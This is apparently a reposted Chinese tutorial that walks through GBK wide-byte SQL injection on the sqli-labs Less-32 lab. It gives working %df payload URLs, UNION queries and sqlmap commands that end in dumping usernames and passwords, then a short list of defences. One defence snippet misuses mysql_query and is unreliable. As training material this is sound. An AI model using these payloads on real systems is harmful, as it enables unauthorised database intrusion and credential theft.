一个%df吃掉反斜杠:宽字节SQL注入从原理到拖库"

admin 2026-10-22 12:52:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

一个 %df 吃掉反斜杠:宽字节 SQL 注入从原理到拖库

原创

炫彩之星
炫彩之星

菜鸟学安全

2026年10月20日 08:15
广东

去阅读

一、什么是宽字节注入

宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift\_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

二、宽字节注入获取数据库信息

1.宽字节注入方法

宽字节注入原理

程序员防止注入点,在其后面加入 \\ 进行转义

利用在其后面注入点发现没有报错

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=2%df%27

注入 ?id=1%df' 出现报错,存在注入

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1'(不可以注入)

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df'

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df%27

MySQL在使用GBK编码时,两个字符组合,认为是一个汉字

%df' -> %df' -> %df%5c%27(%df%5c是一个汉字) -> (汉字)' -> id=(汉字)' and (可以注入)

(1)用sqli-labs靶场进行演示,这里l利用32关进行练习

首先我们尝试进行注入在后面加 '

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1'

发现没有报错,我们可以去看看源代码是怎么写的

发现注入的 ' 被 \\ 转义了,无法进行注入

而且发现代码中用的是gbk编码,说明存在宽字节注入

mysql_query(\"SET NAMES gbk\");

然后我们就可以进行宽字节注入,后面叫上 %df' 试试

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df'

发现报错,所以肯定存在宽字节注入,然后查询有多少列

发现存在3列,接下来尝试注入查找用户信息

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=%df' union select 1,(select user()),3--+

注入成功,查看当前数据库的表

http://xx.xx.xx.xx/sqli-labs/Less-32/?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3--+

用户信息应该在users表中,接下来继续注入查看表中的信息,这里利用sqlmap进行注入查询,会比较方便

(2)打开sqlmap,输入

sqlmap -u \"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1\"

这里会显示id没有注入,没事,进行下一步宽字节注入

sqlmap -u \"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\"

没有报错,接下来查当前用户

sqlmap.py -u \"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\" --current-user

查用户成功,接下来查库

python sqlmap.py -u \"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\" --current-db(查数据库)

sqlmap -u \"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\" -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)

sqlmap -u \"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\" -D security -T users --column

(当前表中有哪些数据)

sqlmap -u \"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\" -D security -T users -C username,password --dump(使用dump来获取内容)

2.宽字节注入防御方法

(1)使用utf-8,避免宽字节注入;

ps: 不仅在gbk,韩文,日文等等都是快字节注入漏洞

2.mysql\_real\_escape\_string、mysql\_set\_charset('gbk', $conn);

3.可以设置参数 character\_set\_client=binary,只需在该语句中插入 result=mysql_query($sql) 即可:

result=mysql_query(\"character_set_client=binary\", $sql);//就不会出现宽字节注入了

(2)这里总结一下sqlmap宽字节注入的使用语句

sqlmap -u\"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1\"
sqlmap -u\"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\"
python sqlmap.py -u\"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\"--current-user
python sqlmap.py -u\"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\"--current-db    # 查数据库
sqlmap -u\"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\"-D security --tables      # 当前数据库有哪些表

(当前表中有哪些字段)

sqlmap -u\"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\"-D security -T users --column

(当前表中有哪些数据)

sqlmap -u\"http://xx.xx.xx.xx/sqli-labs/Less-32/?id=1%df\"-D security -T users -C username,password --dump    # 使用 dump 来获取内容

总结

本次实验是对SQL注入的宽字节注入进行靶场练习,了解了宽字节注入的原理和注入方法,学会了对代码的审计,判断注入的方式,从而获取到用户的信息。

渗透测试思路怎么找未授权接口和隐藏参数" 网络安全文章

渗透测试思路怎么找未授权接口和隐藏参数"

本文介绍渗透测试中寻找未授权接口和隐藏参数的方法论,强调核心能力是找接口和找参数而非依赖扫描器。详细阐述6种找接口方法(资产梳理、目录枚举、Swagger发现、JS提取、搜索引擎语法、权限矩阵对比)和5种找参数方法(抓包分析、参数Fuzz、隐藏参数发现、IDOR越权测试、GraphQL/API网关问题),并附学习路径与合规建议,强调仅限授权测试。
你的电脑「没问题」,可能只是因为没人记录过" 网络安全文章

你的电脑「没问题」,可能只是因为没人记录过"

本文介绍ZeroBreach扫描器,用于检查Candiru间谍软件在设备上留下的痕迹。工具基于CitizenLab报告构建指标集,检查浏览器历史、文件哈希及主机配置等,每条命中标注证据等级。核心观点是干净结果不等于健康证明,工具仅缩小不确定性而非消除。文章提供安装运行、结果解读及验证下载等操作建议,强调需结合专家帮助。
评论:0   参与:  0